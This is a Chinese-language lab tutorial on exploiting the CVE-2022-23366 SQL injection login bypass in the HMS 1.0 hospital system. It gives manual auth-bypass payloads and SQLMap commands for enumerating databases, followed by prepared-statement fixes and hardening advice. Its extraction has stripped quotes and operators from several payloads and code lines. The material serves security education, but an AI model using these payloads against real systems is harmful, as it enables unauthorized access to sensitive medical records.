实战演练:用BurpSuite+SQLMap五分钟攻破HMS 1.0登录漏洞(CVE-2022-23366)

张开发
2026/4/9 19:21:59 15 分钟阅读

分享文章

实战演练:用BurpSuite+SQLMap五分钟攻破HMS 1.0登录漏洞(CVE-2022-23366)
从零开始HMS 1.0登录漏洞实战分析与靶场搭建指南1. 漏洞背景与原理剖析Hospital Management Startup 1.0简称HMS是一款开源的医院信息管理系统2022年曝光的CVE-2022-23366漏洞使其成为网络安全学习的经典案例。该漏洞本质上是由于系统未对用户输入进行充分过滤导致攻击者可以通过构造特殊SQL语句绕过身份验证。漏洞核心原理当用户在登录表单提交数据时系统直接将用户输入拼接到SQL查询语句中。例如原始查询可能是SELECT * FROM users WHERE username[用户输入] AND password[用户输入]攻击者通过在用户名字段输入admin --注意末尾空格即可将查询变为SELECT * FROM users WHERE usernameadmin -- AND password任意值--在SQL中表示注释使得密码检查条件失效从而绕过认证。2. 实验环境搭建2.1 靶机环境配置推荐使用Docker快速搭建漏洞环境docker pull vulhub/hms:1.0 docker run -d -p 8080:80 vulhub/hms:1.0关键配置参数参数值说明系统账号admin/admin管理员默认凭证数据库类型MySQL 5.7使用传统认证方式服务端口80/TCPWeb服务监听端口2.2 攻击机工具准备需要安装以下安全工具Burp Suite Community- 用于拦截和修改HTTP请求SQLMap- 自动化SQL注入检测工具浏览器插件- 推荐HackBar或Cookie-Editor在Kali Linux中可通过以下命令安装sudo apt update sudo apt install sqlmap3. 漏洞利用实战步骤3.1 初步漏洞探测访问靶机登录页面通常为http://靶机IP/login.php使用Burp拦截登录请求开启Burp Proxy拦截在浏览器提交任意凭证在Burp中观察POST请求格式典型请求示例POST /login.php HTTP/1.1 Host: 靶机IP Content-Type: application/x-www-form-urlencoded usernametestpassword1234563.2 手工注入验证修改username参数为测试payloadusernameadmin OR 11 -- password任意值如果成功登录则确认存在SQL注入漏洞。常见测试payloadadmin -- OR 11 --admin UNION SELECT 1,2,3 --3.3 使用SQLMap自动化利用将Burp捕获的请求保存为hms.txt运行基础检测sqlmap -r hms.txt --batch --risk3 --level5获取数据库信息sqlmap -r hms.txt --dbs --batch提取特定表数据sqlmap -r hms.txt -D hmsdb --tables --batch关键参数说明--batch自动选择默认选项--risk3启用高风险检测模式--level5最大检测深度4. 漏洞防御方案4.1 开发层面修复推荐解决方案// 不安全方式 $query SELECT * FROM users WHERE username$_POST[username]; // 安全方式使用预处理语句 $stmt $conn-prepare(SELECT * FROM users WHERE username?); $stmt-bind_param(s, $_POST[username]);防御措施对比表措施类型实现方式防护效果输入过滤正则表达式检查特殊字符中等可能被绕过参数化查询使用PDO/prepare高根本解决方案WAF防护部署Web应用防火墙高但存在误报4.2 系统加固建议最小权限原则GRANT SELECT ON hmsdb.users TO webuserlocalhost;错误处理配置; php.ini配置 display_errors Off log_errors On定期更新机制# 使用监控工具检查更新 apt-get update apt-get upgrade5. 学习资源与进阶路径5.1 推荐实验平台Vulnhub- 提供多种漏洞虚拟机镜像Hack The Box- 在线渗透测试练习平台TryHackMe- 分步骤的网络安全学习路径5.2 扩展技术栈数据库安全学习MySQL/PostgreSQL安全配置代码审计掌握PHP/Java常见漏洞模式防御技术研究WAF规则编写和RASP技术提示所有渗透测试应在授权环境下进行未经授权的测试可能违反法律法规。建议使用本地搭建的靶机环境进行练习。

更多文章